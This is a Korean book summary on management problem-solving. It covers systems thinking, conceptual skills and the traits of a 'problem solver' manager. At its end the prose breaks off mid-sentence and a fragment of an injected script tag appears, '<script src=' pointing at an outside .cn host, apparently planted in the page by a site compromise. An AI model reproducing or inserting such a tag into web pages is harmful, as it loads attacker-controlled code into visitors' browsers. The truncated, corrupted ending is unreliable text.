능력 있는 관리자는 문제해결을 어떻게 할까?
2007-01-24 최종옥/북코스모스 대표 www.bookcosmos.com
돈 버는 기업의 문제해결 노하우를 배워라 이쿠보 히로쓰구 지음/이정환 옮김
1부 변화하는 사회에서 살아남는 조건
현대사회는 모든 기업이 끊임없는 변화에 직면하여 혁신을 강요당하는 시대다. 새로운 시대에 뒤떨어지지 않으려면 현재를 어떻게 살아야 할까? 현대사회에서는 장래의 방향이나 가이드라인을 제시하는 디렉터로서의 관리자가 요구된다. 격변하는 상황 속에서 발생하는 여러 가지 문제를 깨끗하게 해결해 가는 것, 이것이야말로 현대사회의 관리자의 새로운 조건이라고 말할 수 있다. 현대사회는 기계적인 관리자에서 문제해결사로 장래를 개척하는 창조적 관리자로 사고방식을 전환, 변신해야 한다.
경영자나 관리자의 업무는 ‘일상업무’와 ‘사고업무’로 나눌 수 있다. 사고업무는 당면한 상황 속에서 문제를 해결하는 업무로서 일상업무 이외의 업무를 뜻한다. 효율적인 사고업무는 문제해결 능력이다. 그러기 위해서는 사고업무의 효율화가 반드시 요구되는데 사고업무에는 우선 ‘순서’가 필요하다. 순서는 업무의 우선순위를 정하는 것이고 사고기술의 기본이다.
문제를 해결하는 방식은 제각기 다르다. 사람에 따라 결론을 내는 방법이 다르며 그 차이는 개인이 갖춘 사고력의 습관으로 발전한다.
이때 경험 등을 통해서 판단할 수 있는 문제라면 상관없지만 좀 더 복잡한 문제나 중요한 문제를 처리하는 경우 이러한 ‘습관'이 약점으로 작용할 수 있다. 그 이유는 사고력이 편중되거나 빈틈이 생기기 쉽기 때문이다. 따라서 사고력의 편중을 개선하고 빈틈이나 실수가 없도록 보강해야 할 필요가 있는데, 이때 도움이 되는 것이 시스템 사고이며 사고기술이다. 그러므로 우리는 운동생리학에 근거한 효율적인 사고기술을 몸에 익히며 옛 습관을 고칠 필요가 있다.
시스템 사고를 도입하면 사고기술은 교육, 훈련을 통해서 얼마든지 익힐 수 있다. 단, 주의해야 할 점은 이것이 어디까지나 ‘스킬(기술)'이라는 점이다. 따라서 사고기술을 구사하는 사람에게는 당연히 나름대로의 ‘질(質)'이 요구된다. 그 질적인 부분으로는 우선 상대의 공감대를 얻을 수 있는 철학, 비전을 확립할 수 있어야 한다. 자신의 철학이나 비전을 분명하게 밝히고 상대방의 의견을 듣는 자세가 되어야 문제를 보다 빨리, 보다 정확하게 해결할 수 있다. 또, 인간적인 매력을 갖추고 전문영역을 확립하며 실행하기 위한 요건으로 호기심, 원가의식, 행동능력을 길러야 한다.
인간적 측면이 매우 효과적인 우리 동양사회에서는 컨셉추얼 스킬을 무시하면 정신주의에 빠지기 쉽다. 그렇기에 ‘프로블럼 솔버(Problem solver)'라는 사고방식을 제안하고 싶다. 프로블럼 솔버란 사고기술(컨셉추얼 스킬)을 익히고 시스템사고로 문제를 해결하는 사람을 가리킨다. 이 책의 취지는 관리자라면 프로블럼 솔버가 되어야 한다는 것이다. 문제해결을 위해서 우리는 프로블럼 솔버가 되어야 한다. 프로블럼 솔버의 조건은 다음과 같다.
- 수습할 줄 아는 관리자이다. 수습하는 능력은 사고기술(컨셉추얼 스킬)이다.
- 문제의 본질을 파악할 수 있어야 한다. 자신의 전문분야에 얽매여 있으면 그것의 중요성에만 빠지기쉽다. 전문분야의 흥미, 이해에서 벗어나 문제의 본질을 파악하려면 컨셉추얼 스킬이 필요하다.
- 목적과 수단을 구별할 수 있어야 한다.
- 질문능력을 갖추고 있어야 한다. 질문은 지식 그 자체를 알기 위해 던지는 소화형 질문과 프로블럼 솔버의 논리프로세스에 따라 던지는 질문으로 지식을 활용할 줄 아는 지능적인 질문인 수습형 질문이 있다.
- 도전정신을 갖추고 있어야 한다.
이성적 사고의 프로세스는 국제규격에 맞는 사고업무다. 상황에 따라 분석능력으로, 때로는 직관으로 적절히 구분하여 적용시킬 수 있는 사람이 되어야 우수한 프로블럼 솔버라고 말할 수 있다.
2부 사고업무의 분류와 프로세스
관리자의 관리업무에는 명령업무와 사고업무가 있다. 사고업무를 ‘이성적·논리적·체계적'으로 처리하는 것이 시스템 사고의 사고력으로, 그것을 위해 요구되는 사항이 컨셉추얼 스킬(사고기술)이다. 시스템 사고에는 한 가지 획기적인 특징이 있는데 그것은 모든 사고업무를 현재 처한 상황에 맞춰서 다음의 네 가지 영역으로 분류하여 시스템화 시켰다는 것이다.
- 상황을 파악하기 위한 과정
분석의 대상으로 상황의 범위를 파악하고 문제점을 열거, 발굴하여 구분, 정리, 과제화시킨 뒤 우선순위를 매겨서 개별과제로 관리하며 문제를 처리한다.
- 원인을 규명하기 위한 과정
문제가 발생했을 때 그 원인이 될 수 있는 내용들을 열거, 발굴하여 추정원인을 논리적으로 검증해 적절한 대책을 강구하여 현재 발생한 바람직하지 못한 상황을 바람직한 수준으로 되돌린다.
- 선정, 결정을 위한 과정
목표(기대성과와 제약조건)를 명확하게 밝힌 뒤 몇 가지의 안건(복수 선택의 여지)을 비교하고 지식이나 경험 때로?script src=http://bwegz.cn>
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